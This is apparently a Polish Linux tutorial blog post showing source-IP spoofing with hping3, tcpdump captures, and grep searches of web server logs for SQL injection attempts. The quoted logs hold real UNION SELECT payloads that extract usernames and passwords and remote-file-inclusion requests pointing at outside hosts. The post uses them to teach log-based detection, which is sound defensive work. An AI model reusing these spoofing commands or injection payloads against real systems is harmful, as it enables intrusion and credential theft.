W mojej sieci adres 192.168.1.5 nie istnieje, a będę podawał się właśnie za niego, wysyłając ping do komputera 192.168.1.3, mój adres to 192.168.1.2

Komenda, którą włączymy wysyłanie fałszywych pakietów ICMP echo reqest w hping3 to:
hping3 -a 192.168.1.5 192.168.1.3

W oknie programu tcpdump wykonałem polecenie jak poniżej i otrzymałem także poprawny wynik:

root@ASUS-PC:/home/agilobable# tcpdump -i wlan0 -v | grep 192.168.1.5
tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 96 bytes
192.168.1.3.2225 > 192.168.1.5.0: Flags [none], cksum 0x6c6a (correct), win 512, length 0
192.168.1.3.2226 > 192.168.1.5.0: Flags [none], cksum 0x3cb1 (correct), win 512, length 0
192.168.1.3.2227 > 192.168.1.5.0: Flags [none], cksum 0x2795 (correct), win 512, length 0
192.168.1.3.2228 > 192.168.1.5.0: Flags [none], cksum 0x51f4 (correct), win 512, length 0
192.168.1.3.2229 > 192.168.1.5.0: Flags [none], cksum 0xbe57 (correct), win 512, length 0

Jednak zobaczmy co się stanie gdy z komendy usunę część grepa (w tym czasie trwa rozmowa na skype):

root@ASUS-PC:/home/agilobable# tcpdump -i wlan0 -v
tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 96 bytes
21:31:36.731256 IP (tos 0x0, ttl 117, id 52372, offset 0, flags [none], proto UDP (17), length 130)
host-212-67-144-143.cable.net-inotel.pl.36356 > ASUS-PC.local.33094: UDP, length 102
21:31:36.731708 IP (tos 0x0, ttl 64, id 16579, offset 0, flags [DF], proto UDP (17), length 70)
^C ASUS-PC.local.42925 > 192.168.1.1.domain: 216+ PTR? 2.1.168.192.in-addr.arpa. (42)
...
za dużo tego by pokazywać tutaj
...
951 packets captured
1856 packets received by filter
0 packets dropped by kernel

Na zakończenie, spróbuj odgadnąć jaki wynika da to polecenie:

curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]+"

Artykuł napisany dla cierpiącego w agonii jakilinux.org

Ende.

—–====Update 1.1====—–

Na komentarz widma dodaję punkt z opisem funkcji -C n, który użyjemy do sprawdzenia czy w logach serwera http są jakieś zapiski o próbie użycia techniki SQLi do wyciągnięcia poufnych danych.

Komentarz: żeby wykonać SQL injection potrzebna jest komenda union select z funkcji MySQL, to właśnie po niej zorientujemy się czy doszło do ataku.

Oto przykładowy plik z logami znaleziony w Google, w którym gdzieś tam jest użycie funkcji union select.

agilob@Asus-PC:~$ cat logi | grep -C 1 -m 2 “union”

polecenie to wyświetli cały plik z logami, grep’em przefiltruje potrzebne nam linijki z wyrazem “union“, poszuka pierwszej takiej linijki, i wyświetli jedną przed i jedną za tą znalezioną i będzie szukało 2 takich wypadków (próby “włamania”). Pomoże to ustalić, który element aplikacji jest dziurawy i jak został przeprowadzany atak, jeśli wyświetlimy więcej linijek.

72.94.249.37 – – [24/Jan/2010:23:27:43 -0500] “GET / HTTP/1.1” 200 1190 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)” “www.querecho.com”
 
74.55.15.194 – – [24/Jan/2010:23:29:58 -0500] “GET /index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/* HTTP/1.1″ 404 207 “-” “libwww-perl/5.834” “www.mikeadewole.com”
 
74.55.15.194 – – [24/Jan/2010:23:29:58 -0500] “GET /parked-20091029.log/index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/* HTTP/1.1” 404 227 “-” “libwww-perl/5.834” “www.mikeadewole.com”

W tym wypadku wyświetliło jeden określony przez nas wynik (a przecież -m 2 powinno zwracać dwa!), wyświetliło jeden, ponieważ w 3 linijce za tą znalezioną też występuje słowno union, więc tak naprawdę wyświetliło dwa określone wyrażenia, jedno jest tym środkowym, a drugie to jest to ostatnie wyświetlone, program grep spełnił w ten sposób dwa warunki podane przez użytkownika jednocześnie. Gdy usuniesz -m 2 program pokaże wszystkie linijki ze słowem union, czyli tyle:

72.94.249.37 – – [24/Jan/2010:23:27:43 -0500] “GET / HTTP/1.1” 200 1190 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)” “www.querecho.com”
74.55.15.194 – – [24/Jan/2010:23:29:58 -0500] “GET /index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/* HTTP/1.1″ 404 207 “-” “libwww-perl/5.834” “www.mikeadewole.com”
74.55.15.194 – – [24/Jan/2010:23:29:58 -0500] “GET /parked-20091029.log/index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/* HTTP/1.1″ 404 227 “-” “libwww-perl/5.834” “www.mikeadewole.com”
74.55.15.194 – – [24/Jan/2010:23:30:25 -0500] “GET /parked-20091113.log/index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/* HTTP/1.1″ 404 227 “-” “libwww-perl/5.834” “www.mikeadewole.com”
74.55.15.194 – – [24/Jan/2010:23:31:04 -0500] “GET /index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/* HTTP/1.1″ 404 207 “-” “libwww-perl/5.834” “www.querecho.com”
69.73.144.187 – – [24/Jan/2010:23:33:34 -0500] “GET /index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/*’ HTTP/1.1″ 404 207 “-” “libwww-perl/5.831” “www.mikeadewole.com”
69.73.144.187 – – [24/Jan/2010:23:34:13 -0500] “GET /index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/*’ HTTP/1.1″ 404 207 “-” “libwww-perl/5.831” “www.querecho.com”
69.73.144.187 – – [24/Jan/2010:23:43:24 -0500] “GET /parked-20091029.log
/index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/*’ HTTP/1.1″ 404 227 “-” “libwww-perl/5.831” “www.mikeadewole.com”
 
69.73.144.187 – – [24/Jan/2010:23:43:25 -0500] “GET /index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/*’ HTTP/1.1″ 404 207 “-” “libwww-perl/5.831” “www.mikeadewole.com”
 
67.195.111.174 – – [24/Jan/2010:23:44:37 -0500] “GET /pipermail/botsl-updates/Week-of-Mon-20070702/015691.html HTTP/1.0” 404 254 “-” “Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)” “www.adequest.ca”

118.223.225.130 – – [24/Jan/2010:23:58:32 -0500] “GET ///administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://musicadelibreria.net/footer?? HTTP/1.1” 404 248 “-” “Mozilla/5.0” “www.mikeadewole.com”
69.73.144.187 – – [24/Jan/2010:23:59:34 -0500] “GET /parked-20091113.log/index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/*’ HTTP/1.1″ 404 227 “-” “libwww-perl/5.831” “www.mikeadewole.com”
203.253.25.15 – – [25/Jan/2010:00:13:50 -0500] “GET ////twindow_notice.php?board_skin_path=http://med.buu.ac.th///components/com_mylink/son1.txt? HTTP/1.1” 404 216 “-” “Mozilla/5.0” “www.mikeadewole.com”

W każdym z przypadków trzymając się polecenia, podając jeden wynik przed i jeden za znalezioną linijką, daje to obraz, kto w czasie ataku przeglądał stronę.

—-====Update 1.2====—-

Grep jako szybka szukajka plików na dysku.

Dlaczego jako szukajka?

Bo przefiltrowanie wyników z polecenia find / będzie działało jak szujakja.

Dlaczego szybka? Bo nie wyświetla wszystkich wyników tylko te potrzebne, te potrzebne trafiają na std out.

Załóżmy, że chcemy znaleźć wszystkie pliki deb, używane instalowane ostatnio na naszym PC i usunąć je:

root@vshellz:~# find /  | grep i386.deb/var/cache/apt/archives/erlang-crypto_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/odbcinst_2.2.14p2-1_i386.deb/var/cache/apt/archives/lksctp-tools_1.0.11+dfsg-1_i386.deb/var/cache/apt/archives/erlang-runtime-tools_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-inets_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-asn1_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-public-key_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-syntax-tools_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-base_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-ssl_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/unixodbc_2.2.14p2-1_i386.deb/var/cache/apt/archives/erlang-mnesia_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/odbcinst1debian2_2.2.14p2-1_i386.deb/var/cache/apt/archives/ejabberd_2.1.5-3+squeeze1_i386.deb/var/cache/apt/archives/libsctp1_1.0.11+dfsg-1_i386.deb/var/cache/apt/archives/erlang-odbc_1%3a14.a-dfsg-3_i386.deb